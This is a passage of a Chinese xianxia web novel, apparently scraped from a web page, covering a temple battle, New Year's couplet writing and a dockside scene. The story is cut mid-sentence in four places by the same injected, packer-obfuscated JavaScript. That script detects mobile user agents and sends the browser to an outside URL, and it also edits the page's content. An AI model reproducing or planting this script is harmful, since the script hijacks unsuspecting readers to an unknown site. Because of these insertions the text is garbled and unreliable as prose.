那神看不见脸,只能看见一只戴着鸟骨腕钏的手,抚摸他的头顶。 手心有一只眼睛。 又定格住一帧。 三叉戟的锐光指着男人,他伸出手,磅礴的力量轻易扼住女神的喉咙。他的手心贴着女神的脖颈,看不见全貌。 但是跃沉就是知道,那里一定会有眼睛。 金纹如藤蔓将玉骨再次满绕,刺眼又夺目,缠裹一切又吞噬一切。玉骨化作剑形,被跃沉翻手狠狠刺入牵丝傀儡的眼睛。 红色的眼球爆开,流泻下黑雾,才触及金光就被狠狠撕碎,搅散四溢。 式陵用不出神术,但能用那对三叉戟。只听“玎玎”两声,就扎在了另一个傀儡小腿处。纯白色崩裂了,伤口处也溢出黑雾。 两个纯白傀儡摇晃,跌倒在地,丝线脱落,男神相控制不住它们了。 尽管是万年老神庙了,式陵的送灵符法力仍滔滔不断,可见当时信徒有多么广泛,香火有多么鼎盛。 跃沉的玉骨再次爆发出明亮的金光,连带着壁画的纹路也闪闪烁烁,露出灰尘中的本色来。 满殿的原壁画顿时描上了流动的金,男神相表面那层粉饰太平的妆刻如同无物,被式陵和神庙的共鸣掀开,向世人展出血淋淋的真相。 流沙下的这神庙,本就是式陵的。 古神时代掌管愤怒的女武神。 壁画重新现世,那女神本应端坐主位,三叉戟锐利,指向那个模糊一团、镶满眼球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245030|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怪物。 男神相坐不下去了,睁开双眼,步摇冠上的眼球们也都滴溜乱转。 他在此处冒充庙主也正经有些日子了,可是后来他处理不好信徒的祈愿,神庙也慢慢沉寂下来。 再后来流沙蔓延,天地改换,众神伏诛,大战不休,血流成海,尸堆成山。 他也只能眼睁睁看着神庙陷入地下,他端坐神龛里,却也不见天日。 坐在那莲花座上能成神,可是天塌了也是神仙扛着——这就是所谓代价。 他是偷来的名位,更逃不掉。 此后外界任凭天翻地覆,他都一无所知,直到……近年,那个教他弑神法子的神再次找上他。 多年不修习武功,他应对跃沉的玉剑时格外狼狈。眼球被逐个扎破,黑雾却逃不出送灵符划定的界限。 男神相被锁死在神龛范围里,当年最想得到的东西如今紧紧束缚他,不让他逃离。莲花座认主,千万年都不服他。 步摇头冠快速失去生机,变成一颗一颗死气沉沉的干瘪眼球,丑陋难言。 式陵跳上神龛,紧握着三叉戟抵上巨大神相的眼睛,问他道: “你叫什么名字?” 他忽然感到泄气。当年殿上羞辱,归来后又种种折磨……换做是他,早已刻骨铭心,可原来在古神心中,不过是个窃位鼠辈,名姓原来不值一提吗? 当年固有差距,如今他窃来莲花神座,假模假样端坐万年,丑事做尽。差距却依然横亘在目,像一条丑陋的、歪歪扭扭的伤疤。 这一道钝伤,流血流脓,痛了他上千年。从跪下求人开始,再到担惊受怕坐在上首,无时无刻不痛。 可是……可是凭什么,他就这般狼狈不堪? 凭什么呢? 不等他多想,跃沉翻手拨动玉剑,一跃而起。 那一剑斩出一个金红的圆,炽热明亮,扎人视线。剑芒宛如长虹,击天穿地,连下方的悬崖都照的透彻,准确贯入那神相的眉心。 在地面的姜庆临和陈鹂的视角看,那一剑完美极了。 这一剑掀起飞沙走石,撕裂阴阳和虚空,割裂光和声,震得神庙穹顶隆隆作响。嘈杂声纷乱,碎石打在他的神相和身旁一列属神身上。 巨神轰然倒塌。 眼球石化,骨碌满地,被送灵符阵的金光融散。 绳桥一路崩塌,分股爆裂,金光耀目刺眼,风浪掀翻三人。 跃沉收回玉骨,跌落在地。 等他再睁眼时,姜庆临已经醒了。 他有些茫然,望向神龛的方向。 那莲花座重新易主,手持三叉戟的女神露出真容,坐于其上,生动鲜活。头顶花冠缠绕生出莲花,清芬满室。 这古神时代的神庙似乎也随之而活了。 送灵符咒金光不减,源源不断冲刷整个神庙。光景焕然一新,庄严如初。式陵重新将神庙收拢,或者说,她从未离开过。 女武神不会离开她的属地。 “后生,现在太一天帝还在否?”式陵问跃沉。 跃沉觉得还是装傻为妙,他也确实不太知道古神时代的那堆打来打去的陈芝麻烂谷子,遂回道:“不知上神所谓是何人,如今万神首领乃是西王母,居于昆仑瑶台。” 式陵微顿,点头,目光放远,有些悠长。 “多谢相助。情急借这位女修士的身体一用,回去静养,不会有事。” 姜庆临和陈鹂头一次见到上古时代的神庙,居然还是显灵的神明,难免有些激动。不过两人一边一个搀扶着曲增明,倒是不忘朋友。 式陵抬手,托掌风便将三人送出了神庙,留下最后一句话—— “有缘再相会。” 18. 一手烂字 “你什么都不记得了?” 姜庆临和曲增明对坐着,窗外晚霞点缀青蓝,偶闻鹤鸣。 曲增明有气无力地答他,还有些虚弱。如今冲矜日日亲自熬药,研究她的病灶。 曳白虽说平时吊儿郎当不务正业,却也为此专门去查了古书,捧着书来找他们俩时啧啧称奇,说这“夺舍”之法已失传了好久。 尤其是被神夺舍意识,那更是闻所未闻。 他在藏琢峰吵吵闹闹一下午,兴奋地拉着曲增明问了又问,终于被喜静的姜庆临赶走了。 姜庆临正伺候茶炉,瓷白壶中青叶沉沉浮浮,茶液慢慢由他斟在杯中,晾开热雾。 曲增明吹着杯沿,摇头。 茶入口还是烫,她抿了一小口,就放下杯子说话。 “我只记得我出了昆仑城。” 伯昏夷站在出昆仑城的队伍里,慢慢往前挪。一踩上护城河的石桥,心脉立刻又感到灼痛。 他暗暗骂了一声。 昆仑城往常最是宽松的,现在开始有阵法禁制了,进出城居然还要查验过所。因此他进城就颇耗费了一番功夫,城内现在也不消停,为了躲风头又被迫滞留了两天。 等他出城,已经是第三天了。 他按照西王母的指示走进流沙,却并没有成功进入神庙,而是掉进了一个棺材样的墓穴。 伯昏夷:“?” 这是什么地方? 他没工夫多作思考,因为墓主人杀过来了。 那墓主人是个颇强的修士,似乎是飞升失败陨落了。他招架得很吃力,身上很快就挂了彩,心里不禁怀疑西王母是不是故意让他来送死。 这和交代的不一样啊! “出城之后,我记得一点点流沙场的事。大概走了一天多……反正一直看不见人。再醒来就是在你们面前了。” 姜庆临若有所思。 陈鹂回城后就继续做她的松鼠鳜鱼去了。 好酒好肉,快意江湖,帮忙已经是看在老朋友的面子上才偶尔出山,断断不肯再进宗门那等规矩清严的去处卖命。 至于跃沉那小混账——进城后就自己溜回了鼎元宗,现在还找借口躲着不见他。 虽然跃沉没有任何表示,但是姜庆临已经可以肯定那名叫“越宸”的昆仑武神就是他了。 那样强的法力,能轻易斩杀瓷白傀儡和男神相,会是这模样的少年人能掌握的? 他轻嗤一声。 不光是个不搭理祈愿的懒神,还是个遇事就躲的家伙。 小骗子。 说不准还是个老骗子。 跃沉在练功场上看别人比试,冷不丁打了个喷嚏。 肯定是姜庆临在念叨他! 姜庆临到底知不知道他就是那个他拜过的神啊! 一想到这事他都不想在鼎元宗呆下去了。 跃沉虽然没去找自己的神庙,但是式陵问了他的神相,把他划进了自己的神庙,从此香火也有他一份。 暂时不用因为缺法力的事情东跑西颠了,甚至于,他可以马上就抽身离开。 宗门里又要早功又要考核,就像陈鹂劝他的—— “能痛痛快快的活,谁到宗门卖命?平时卖力气不讨好,百鬼夜行的时候都想起你来了。你要是跟了我,天天酒楼大鱼大肉,缺钱了接个活,神仙也羡慕这好日子啊……” 确实。神仙确实羡慕这样的好日子。 陈鹂说这话时,跃沉苦着脸去往姜庆临的方向瞥。姜庆临沉默不语,只是看着他。 他转回头去,姜庆临的视线仍未离开。 跃沉莫名不敢当着姜庆临的面答应陈鹂,只好含糊回绝了。 他怀疑姜庆临已经看透了自己拙劣的伪装。 因为他随便编了个借口说不用回家的时候,姜庆临也只是笑笑,什么话都没说,带着他和曲增明就直接回宗门了。 “看什么呢?”冲华走过来,抬手搭在跃沉肩上,“该你了啊。” 跃沉回过神来,应了一声。 渊令在一旁,盯着冲华的手,瞳孔微动,转移开视线。 得心应手。 ——法力充沛又不缺香火的跃沉在场上比试时,只能用这四个字概括。 他还是用了鞭子,将对面人手里刀夺来,卷起又甩开,咒诀一句套着一句,密不透风,打的对面还不了手。 渊令明显觉得他比之前更强了,於破岩也觉得奇怪。 姜庆临带他出去,名曰“办事”。於破岩只知道是去找曲增明了,具体如何,都是姜庆临在和术星孤商量,他也不知。 大概是遇到了什么机缘了吧。 於破岩瞥了渊令一眼。 照这样的情况,渊令现在和他打平手是不可能了,只能勉强留个体面。渊令倒没什么反应,在问心湖湖底面对那鬼尸时,他就知道跃沉必然要强过他。 他在意的并不是这个人。 鞭声过的很快,跃沉轻松结束比试,脸不红气不喘地下台。 冲华早早迎上来,笑意粲然道:“好身法,几天不见,跑哪去了?” 跃沉想起姜庆临回程途中对他说过的唯一一句话。 “此次出门,不必和别人说。” 他摇摇头,笑着回冲华:“没事,回家一趟。” 冲华点头没再多问。 年关将至,鼎元宗众位外门弟子没有一点要过年的热闹喜悦,反而更加用功,芸台日日挤满了人,就连吴昼锦都加倍努力。 因为过年后没几天,就是第一次考核了。 跃沉一边怒背药理和经书,一边暗暗骂自己不争气,当时怎么没答应陈鹂留在昆仑城。 渊令和冲华照旧是不肯讲话,都把对方当空气。 不过两人似乎也算缓和了不少——据吴昼锦观察,刚开始那阵儿,俩人除非是上课,不然是绝不肯在同一屋檐下的。 现在居然能同时呆在房舍厅堂里,一个喝茶一个看书,虽然沉默以对,但却相安无事。 吴昼锦啧啧称奇,拉着跃沉分享他的观察心得。 跃沉仍不知道这两个人闹了什么矛盾,走之前来不及管,忙完回来了,终于有时间八卦。 这两个人闹得真是长久,又莫名其妙。冲华一点没将红莲纹面的事情说出去,谁也不知道什么缘由。 两人遂轮流鬼鬼祟祟窥视冲华和渊令。 转眼在几个早功之后,就是大年三十了。 修仙界也是要过年的,和平常百姓一样,反而是烟花爆竹花样更多,闹得更起兴。 念了一年辟谷咒诀的修士们终于会在今天吃些东西,不知疲倦工作了一年的姜庆临也放松下来,不再守着他的炼器室。 他想起了那个小骗子。 于是也不肯闲着,打算把跃沉拎到藏琢峰写春联。 跃沉接到侍从的催请时正和冲华三人在一块儿,四个人放爆竹玩得不亦乐乎。准确来说,是冲华和吴昼锦在放,跃沉在折腾花样,渊令抱臂在一旁看。 红纸片飘飘悠悠,落在他眼前。 “啊?宗主又要见我!” 跃沉心里直打鼓,觉得姜庆临就是要赶着大过年的喜日子来清算他了。 这次是真正的绝望心情。 於破岩早就交代了今明两日特批他们外门弟子放假。众人有归家的,有下山去凡间玩的,往藏琢峰去的一路上都没什么人。 桌案上红纸一翻,姜庆临兴致勃勃,搁下笔,伸手整理。抬头瞥一眼,殿里溜进来个玉人。 “姜长老。”跃沉扁着嘴板着脸,不情不愿地行礼,把自己缩了又缩,恨不能马上钻进大殿的地缝里。 术星孤和曳白也在,就连平日最最不苟言笑的於破岩也朝他点了点头。 他自己却并不高兴。 大过年的!且不说姜庆临是不是要寻仇……这和额外布置作业有什么区别啊! 姜庆临招手道:“来写春联。” 跃沉一手烂字,平日里都是靠咒诀糊弄经书的,哪有当面写字的本事? “别……别了吧。”跃沉苦着脸,“姜长老……弟子写字丑陋,难登大雅之堂,还是罢了。” “快点来写。” 术星孤偷笑,放下自己的笔。和曳白对视一眼,两人就齐刷刷找借口告退,顺手把不明状况的於破岩也拉走。 跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245031|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉本来还想向术星孤求救的,结果三位长老溜的更快。他只好慢慢磨蹭到桌前,背着手低着头,不肯拿笔。 姜庆临拨动笔架上一排排垂挂的笔,挑了又挑,才摘下一支。 “这支给你。” 跃沉不懂笔墨,端详半天不得其法,便问他:“这笔算是好的?” 姜庆临忍着笑:“不是。” “你用好笔也太暴殄天物,我这一架子笔,一支就顶城中一间酒楼,哪能给你用?你手里这是支烂笔头。” 跃沉看着手里的“烂笔头”,轻轻“嘁”了一声。 写字好就多了不起似的。 不过他现在没资格嫌弃——姜庆临找他最好是真心要他来写对联的。 千万别问他神庙的事情。 他抬手拿笔,要蘸姜庆临手边那砚里的松墨。 姜庆临轻轻一挡:“欸?别用我的墨。”他又一指,“你用这个。” 跃沉这才看到桌角处有一瓷碟子墨,可怜兮兮一滩黑。 大概这也是一碟子烂墨。 姜庆临总算不再吝惜纸张,任他取用洒金红纸。他自己也搁了笔,盯着跃沉铺纸,仿佛要看看他能写出多大能耐来。 现在是被人盯着做作业了。 跃沉越紧张越下不去笔,端着笔端了半天也没写字,笔尖上的墨汁滴落在红纸上,渗出一个显眼的墨点,刺头刺脑。 他心虚地遮掩,换了一张纸。 姜庆临好整以暇,抄着手在一旁看热闹。 跃沉拎着笔小心翼翼探下去,仿佛手里的笔咬人,桌案上的纸也咬人。 姜庆临本来端着审视骗子的冷脸,见跃沉这副架势,忍俊不禁,别过脸。 这一笔太重,活像挑来的柴火棍,墨水在笔画边缘渗出细细密密的尖刺。 姜庆临终于忍不住,盯着趴在红纸上好似毛毛虫般不断扩散的墨渍,笑出了声。 跃沉气得说不出来话,翻个白眼,唰唰几笔大字下去,糊里糊涂就写完了。 姜庆临笑得更大声了。 “爱要不要。” 跃沉不搭理他,写完了把笔一扔,气鼓鼓出门了。红纸就摊在桌上,划拉着草率的字迹,惨不忍睹。 姜庆临目睹他出门,一点也不恼,反手捡起红纸,举起来细细观赏一番。 红纸上墨慢慢干了,他将跃沉写的春联折起来放进锦盒,才出去找人。 跃沉果然没走远,呆在后院的桂花树底下,揪着叶子生闷气。 揪一片叶子就在心里骂姜庆临一遍。 坏人!还专门叫他来出丑。 姜庆临站在他背后多时,也不见这位尊贵的主子有转回身的意思,啼笑皆非,只好开口劝他。 “别揪了,树秃了我又不会秃。” “进屋,我教你写。” 跃沉听完更是气不打一处来。 谁要你教!你要是不找我,哪里还有这些事情? 姜庆临也不恼,笑着看他放下作怪的手,梗着脖子转回身,跟着姜庆临回屋。 俩人和春联硬杠了一个多时辰,姜庆临茶煮了三壶,点心换了两盘,跃沉嘴就没停过,字却半点没进步。 在写废了第不知道多少张纸之后,跃沉苦着脸抱怨:“一定是笔不好。” 姜庆临气得想笑:“找借口。你每次交经书,就用这样一手烂字吗?” 跃沉听了心虚,把伸向果碟的左手收回来,低头老老实实继续写。 “你手里这支是这一架子上最贵的。” 跃沉将信将疑,举着笔瞅了半天不知其所以然,悻悻重新摆回别扭的拿笔姿势。 姜庆临认真地盯着他,手里笔杆再次敲了敲跃沉的手指。 “注意写字姿势!手往哪放呢?” 跃沉好好一只手差点拧成麻花,捏着那毛笔骨节泛白,写出来的字更是歪歪扭扭不成样子,比刚才随便写的还丑。 姜庆临在一边催他写。 写了十几幅对联,姜庆临皱眉,试图精挑细选,最终也被迫接受了每张都挂着墨水毛毛虫的事实。 藏琢峰大殿门口,最后贴了一副奇丑无比的对联。 19. 除夕星夜 “成事不足败事有余。” 西王母闭眼,身后的卦象图缓缓流动,银光闪烁,中央荡出波纹。 侍女默然,不敢应声。 西王母不见外人时,头上并不戴华胜。眉目仍慈悲为怀,带着俯视众生的淡然,指尖绕着白发。 白发披散,威仪却丝毫不减。不过她并不着急,手指慢慢摩挲着桌案上的图卷。 “谅他也对付不过。” 西王母不打算再管伯昏夷的死活,不过转念想到那神庙,不由轻叹。 何必苏醒呢?沉睡在流沙里千万年,避世无人问津,不是一种幸运吗? 非要闹到明面上,还占着那么大的神庙,如同立起一张招摇的靶子,木秀于林,人人都可来分割一口。 古神时代距今已远,她快要忘了那场屠神的终战是什么场景,山陵崩、河海绝,都远去了。 但是古神庙的现世是大事—— 对凡间的修士来讲,那是秘境和机缘。 对神仙鬼怪来讲,那是吞噬地盘划定势力的又一次血洗。 百鬼夜行将至,天下也合该乱一乱。 跃沉趁着大年三十晚上,众人都在玩乐之际,悄悄离开了鼎元宗。 他必须要去昆仑,但至于回不回来,他还没有想好。 他没和姜庆临或於破岩告假,只是偷偷地下山了。 几位长老聚在藏琢峰大殿过除夕夜,几个能喝酒的喝酒,不喝酒的喝茶吃果碟。 曳白坏笑着拈着杯子举到曲增明跟前,把银壶高高举起,壶嘴一歪,酒液倾泻,香气凛冽,琥珀色格外诱人。 曲增明不能喝酒,翻个白眼以示回应。 术星孤来不来参加这种聚会全看心情。正好,她今日睡足了,心情不错,遂一个人缩在一边喝闷酒。 曳白只是装模作样地晃悠,术星孤反而是实打实地一杯接一杯往下灌。 她喝了半天不见醉意,眼神反而更清明。 然后突然吐出一句,声音倒是不大:“老姜把他放走了啊?” 姜庆临恍惚觉得谁叫了他一句,但是没听清。曳白正举杯力劝於破岩,魏逢春和冲矜笑呵呵在旁边观赏。 屋内屋外都吵闹,不少弟子在中央的空地上放烟花,绚丽的弧线划过,升腾青烟。 姜庆临转回头,垂眸不知在想什么。 广场上聚齐了没回家的外门弟子,众人乱哄哄地说笑、猜拳、行酒令。 有人用咒诀烧了一大捧篝火,金红火光冲天,焰色渐变。周围还有星落四散的小篝火,架上炉子烤肉或者煮酒。 “你要吃点什么?” 冲华的声音从背后响起。 渊令心里一跳,没想到冲华会主动问他,眉梢偷偷爬上愉悦之色,回过头来。 下一秒,他和冲华擦肩而过。 冲华盛了一碗红豆小圆子端在手里,瓷碗里红豆和木薯圆子沉浮,点缀一撮桂花,鲜艳映黄。 这一碗热气腾腾飘过去,短暂地占据了渊令的嗅觉。 然后,冲华把瓷碗递给了他身后的吴昼锦。 渊令垮了脸。 “跃沉呢?”冲华无意问。 “不知道啊……”吴昼锦摸出勺子,也不顾烫就盛进嘴,语句含糊,“宗主那边不是把他叫去了?” 冲华想了一下,好像确实,他被姜宗主叫走之后就没回来,大概是在藏琢峰过除夕了吧。 渊令给自己倒了一杯椒柏酒,酒味冲得很,涩味压制喉舌,只觉堵心极了。{1} 周围人三两聚集,他孑然一身,在火光够不到的暗处祈求明亮。 兴陵城中鱼龙灯舞,好不热闹。 各色细巧的灯架在路边,绘满了跃沉不认识的吉祥纹样。各样摊子铺陈开,声声叫卖得热火朝天,酒旗招展,来客熙熙攘攘。 傩戏在街中围作圈子,歌女倚在楼上曼声清唱,箫管细细,丝竹声不绝。 有桃花已经被暖风催开了,满树繁茂。花枝之中,点映明灯,影作屏扇,逶迤婉转。 不知道哪里在放孔明灯,满天都是橘红暖黄的灯,飘飘悠悠,垂着丝带。写了愿望,在澹月朦胧中升上天去。 也许能一路升到昆仑山,让诸天神仙瞥一眼凡人的愿望。 姜庆临在藏琢峰大殿的窗景里也看到了孔明灯。离他并不远,慢慢飘浮着,写满了最朴实或者最隐秘的愿望,飘的更远了。 他盯着看了好久,身后的曳白给大家都盛了金桔水团{2},招呼着他也来吃。姜庆临应声退回到殿中来,把递过来的酒一饮而尽。 那个小混账为什么不来找他? 跃沉走之前可是答应过他,晚上还要回来吃年夜饭的。 姜庆临眼神瞟过一旁那副无人理会的碗筷.只是蜻蜓点水的一眼,不敢多看,觉得自己一片真心好意都喂了狗。 这个骗子不回来了?! 跃沉快速穿过一群观赏屏灯的女郎,往城外走。 星夜赶路,几乎是出逃了。他用“日行千里”的咒诀,耳边朦胧生风,从没这么快过,昆仑城即在眼前。 昆仑城里也有些年关的热闹,不过远远比不上兴陵城。 有家的都回家了,没家可回的都去做活。这一日的悬赏比往日翻了几倍不止,自然有人来赚这份辛苦钱。 陈鹂的酒楼作为全城最热门的所在,招牌最大,灯火压城,呼呼啦啦扯着大旗招揽过客。 跃沉站在街口愣了半天,发现自己没有理由走进去。上次是和姜庆临一起来的,陈鹂还认他这个朋友。 现在姜庆临不在。 不过他没时间多想,在值班守卫诧异的注视下快速出城。 前面就是流沙地了。 跃沉真的很不想再进这片险象环生的破地方,尤其现在夜色已深,他还是独自一人。 但他不知道还可以去哪。 有那么几秒钟,他很想拔腿回城,回到兴陵去,回到鼎元宗那座熟悉的巍峨山头去。 青的蓝的雾气中坐落着宽敞的大殿,觥筹交错灯火可亲。 殿上有人端坐,在等他一同过除夕。 可是,他本来应该在那落灰的神庙里,去看人间飘来的孔明灯,圆信徒的祈愿。 姜庆临如果知道他就是那个神,也会把他赶出来的吧? 哪有收留个废材神仙的道理?占了好人位子,又不做事。 哦,还专门添麻烦。 他往前走,夜晚的风沙滔天,仿佛刀背在刮肉。不过时过境迁,他如今不缺法力。式陵神庙里的法力尽可借用,滔滔不绝。 跃沉毫不犹豫地循着法力的牵绊,往熟悉的方向走,走进风沙深处。他要去找式陵,要谢过她的慷慨相助,然后一路找去麓城。 去找那个半梦半醒之间听闻的,向他祈愿的女人。 伯昏夷已经跪下向西王母祈愿了。 说实话,他并没有多了解那个高高在上面目隐没的女人。万神之首,离他何其遥远?偶有垂怜,让他做事,那是看得起他。 如同招猫逗狗,当成是个玩物,能尽点力就尽点力。利用价值没了,死在流沙地还是神庙台阶前,庙里端坐的神明自然不在乎。 墓主人是个凶悍的鬼尸,老得摸一下都掉渣,但是不耽误它和伯昏夷打得风生水起、有来有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“狼星和浮光潭的天地脉,有干系吗?”西王母试图细问。 听到“天地脉”三个字,卢宁的面瘫脸终于有了一点松动。不过他也没别的反应,只道:“天地脉玄妙,不可说。” 他总是这样。这也不可说,那也不可说。仿佛那星图就是天底下最大的秘密,除了他,谁知道都要掉脑袋。 西王母估计他是憋不出来别的话了,恨铁不成钢地挥手让他走人。 曳白是最后一个走的,藏琢峰大殿眨眼功夫就剩了姜庆临一个人,空落落的青衣身影在屏风前端坐。 他灭了四角的满堂红{3},殿中霎时只余微末烛火和星光。 姜庆临想了想,还是没有把灯全灭了,仿佛还有点希望,不忍全打碎了。刀子嘴豆腐心,还是要给那不守约的人留一盏灯。 一颗流星划过窗前,拖带赤色,不由得让他多看了两眼。 跃沉这个骗子! 他啜着醒酒茶,不想去找他。 不识抬举,让他来还不来,好像藏琢峰是什么龙潭虎穴,一脚踏进来就要剥皮拆骨,把他吞吃入腹似的。 是神明也不行。 正想着,殿门豁然打开,姜庆临转头望去,是那小骗子溜进来了。 “姜长老!” 跃沉没个正形,关了门就兴冲冲往里走,点了一捧莲花火焰在手心,问他,“这么暗怎么不点烛火?” 当不当神的,香火万千又怎样?不如有人现在就给他留一盏灯。 20. 锦衣夜行 锦衣城有童谣传唱天下四海:“锦衣城,织锦衣,五彩俱,天下披。”{1} 五万黎民除夕夜仍然劳作不休,机杼声不绝于耳,逶迤荡漾的莲河边停泊上百只货船。 桃叶渡{2}人满为患,昼夜不息,船头挤着船尾,桨橹搅动一河灯影。 码头上的“锦衣官”们催促着力工卸货装货。船体吃水很深,压着一船生计往莲河上游去。 码头上最大的船却不是货船,而是一艘极尽奢靡豪华的楼船,雕梁画栋,描金绣彩。船舱中一灰衣人端坐品茶,锦衣城手织场的管事携账簿静立。 待那灰衣人放下茶盏,管事方道: “您点数吧,五万匹霓虹锦、三万匹云雾纱,大头齐全了。还有些零零碎碎的……”他忽到这里低了声,“还有些北上要孝敬各宗门和王爷的。” 灰衣人不屑一顾,只道:“放那吧。我们月满宗的分例不是照旧五五分成么?” 管事的连连擦拭冷汗:“是,是。” 月满宗乃天下第三大宗门——不过这是民间说法,人家月满宗自己可不认,自觉是天下第一,脚踩鼎元宗和灵牍宗不在话下。 毕竟月满宗弟子多时,能达到上万人。三大宗门定期集会,月满宗来的人总是最多,比武时输的也最难看。 不过管他水平是不是参差不齐,反正人多势众,吵起来声音也大。声大就是有理。 管事战战兢兢退出高大的楼船,走远了几步,才露出不咸不淡的鄙夷之色。不远处装货的地方围了一堆力工,吵吵嚷嚷不知在做什么。 他心下正烦躁,看不得这些一吊钱一个月买来的贱民不干活。走上去照外圈每个人的后腰都狠狠踢了一脚,好悬把站在边上的人踢进河里去。 “都干什么呢,围在这不干活?”管事的大声呵斥,围着的人群被他抽开了一条缝,众人面面相觑,反过头来还都看着他,好像要他来拿主意似的。 “看我干什么!干活去……” “去”字没啐出去,他就呆住了。货船边躺了个人,脑袋开花惨状难辨。 边上的一箱货物被摔开了盖,露出上百斤皎白色的布匹,在月光下静静流动。 他的工友皮肤黢黑,磕磕巴巴在边上给管事的解释:“他这一天一点怪处都没有,扛起箱子时还好好的,就刚才马上交货上船的时候,眼睛突然一翻白,就倒下了。” 他小心翼翼问:“当家的,这是不是招了什么不干净的……” 管事的没耐性听他说完,只急着低头翻检货物,翻了半天才站起来,长出一口气,说:“好在货物没事。” 他冷冷道:“那小工是谁家的?” 原本桃叶渡码头的工会早有规定,这种重体力活计,至少两个力工抬一个箱子。 不过月满宗接手管理莲河上下五大渡口之后,最大的白苹渡工会都按下此事不提,盘剥工人越发狠厉起来。不大不小的桃叶渡夹在中间,不配置噱,睁一只眼闭一只眼,也不拿卖力气的当人看。{3} 月满宗虽然盘剥工人厉害,不过死了人,赔的倒比外头多。故而吸引来不少不要命的,活着就是硬干,死了给妻小留些钱财傍身。 只是不知这人是否也是同道中人,指望着讨个死后的赔款呢? “罢了罢了。该干嘛干嘛去,误了工时你们赔?” 管事的伸手在他鼻端一探,发现居然还有点弱气,只进不出的。他眼珠子骨碌一圈,心下有了计较,悄悄吩咐了人将他抬走,抬到河边茅草房里。 月满宗和官府交涉一通,莲河的这片地获了特批,沿河几里都是自建房。 这人既然还没死,那这赔偿款自然和月满宗扯不上关系,休想从他们账上掏出一分赔款。至于救治不救治,及不及时…… 那和月满宗有什么关系?人没死在当场,谁也挑不出来他们错处。 不让他继续留在码头上干活,仁至义尽了。 众人围了这一会儿也就散了,各人还有各人的货要扛。那个工友嘟囔了几句,似乎是什么鸣不平的话,也被边上的人拉着走了。 那倒下的力工被人悄悄抬着,送进了桃叶渡泊船司老头的草屋里,扔在炕上,来送人的两个壮年劳力就要撤。 老吴正坐在炕沿上烤火抽旱烟,拿刀削果子吃。 他瞥了一眼那男人,叫住他俩:“又是码头来的?” 俩壮汉一言不发,草草点头,把额头汗一擦,拔腿就走。 到底还是年关时节,半夜有点凉风,鼓动着窗纸,细细密密的寒意沁在水里,一流就流经整个锦衣城。 老吴嘴笨,也说不明白,只是沉默地烤火。 老吴在桃叶渡干了一辈子,大事小事,风起云涌什么都经历过。但是月满宗接手五大渡口也就是十年的功夫,伤重的小工人数比从前多得多了。他冷眼旁观着,也心惊肉跳。 这哪里是雇人,这是要人命呢。 他前半辈子在月满宗外门一个长老家开的药堂干学徒工,稀里糊涂跟着学了点本事,后来人家家里来了个亲戚,二话没有就把他顶掉了。好不容易要谈妥的亲事,这么一搅和,也黄了。 药铺掌柜的看不下去眼,托人给他找了锦衣城的新差事。 还能说什么呢?千恩万谢吧,大恩人呐。 自己尚且这般破落户样子,哪有资格指点别人?各扫门前雪吧。 正想着,他探手要去探那小伙子的鼻息——照理是不会把死人往他这里扔的,但是人死在他这,月满宗不用赔人契,也不用挂名。 管事的“锦衣官”每年多给他结二两银子,让他处理了这些“耗材”,两边都相好的事情,何乐不为。 老吴又抽一大口烟,胡须中冒出浓浓的白雾来。后半辈子就蹉跎在锦衣城了,三教九流,什么门道没钻过?认识些朋友,渐渐也吃得开了。 其中不乏管着坟场的朋友,俩人把送来的死尸身上的值钱东西也都均匀分了,一条龙服务从裹到埋,都不用桃叶渡的管事插手的。 这世道草菅人命多么容易。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这后生,不,如今是新的伯昏夷,握着刀,从老吴的屋子里带走些财物,溜之大吉。 桃叶渡人来人往摩肩接踵,又一批船驶进码头,没人会注意到这个平凡面孔的小工装扮的年轻人,这样的年轻人在桃叶渡码头一抓一大把,来往无人多看一眼。 人们眼睛里只盯着锦衣。 姜庆临从衣箱里取出一件锦衣,将其全部展开在跃沉眼前。跃沉饶是在昆仑见过不少正经的稀世珍品,也不由得打量了好几眼。 这锦衣上下流光,仿佛将月色穿了一身,绣凹凸竹纹,亮暗闪烁,鲜艳夺目,巧夺天工。虽是低调的灰色,却毫不掩其贵重。 “这是上次三大宗门集会,月满宗送我的一件伴手礼。”姜庆临抖了抖这袍子,望向跃沉。 “试试?”